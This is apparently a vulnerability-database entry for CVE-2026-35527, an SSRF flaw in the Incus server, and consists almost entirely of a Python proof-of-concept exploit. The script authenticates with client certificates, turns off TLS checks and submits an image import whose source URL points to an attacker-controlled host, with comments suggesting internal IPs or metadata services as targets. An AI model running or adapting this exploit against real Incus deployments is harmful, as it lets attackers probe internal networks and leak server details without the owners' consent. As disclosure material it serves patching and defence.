CVE-2026-35527 Incus 服务器端请求伪造漏洞 (SSRF)

import requests import sys # Target Incus instance TARGET_URL = "https://your-incus-instance:8443" CERT_PATH = "/path/to/client.crt" KEY_PATH = "/path/to/client.key" # Attacker controlled server to receive the blind SSRF request ATTACKER_URL = "http://attacker-server.com/capture" def trigger_ssrf(): """ This script simulates triggering the SSRF by creating an image import operation pointing to an internal or attacker-controlled URL. """ session = requests.Session() session.cert = (CERT_PATH, KEY_PATH) session.verify = False # Ignore SSL warnings for demo # Payload: The URL that Incus will send a HEAD request to # This could be an internal IP or metadata service payload = { "public": False, "source": { "type": "url", "url": ATTACKER_URL # URL to receive the HEAD request }, "filename": "malicious_img" } try: print(f"[*] Attempting to import image from: {ATTACKER_URL}") # Endpoint to create images (may vary based on Incus API version) response = session.post(f"{TARGET_URL}/1.0/images", json=payload) if response.status_code == 202: print("[+] Request accepted. Check attacker server for the HEAD request.") print("[+] The response should contain headers: Incus-Server-Architectures, Incus-Server-Version") else: print(f"[-] Unexpected status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": trigger_ssrf()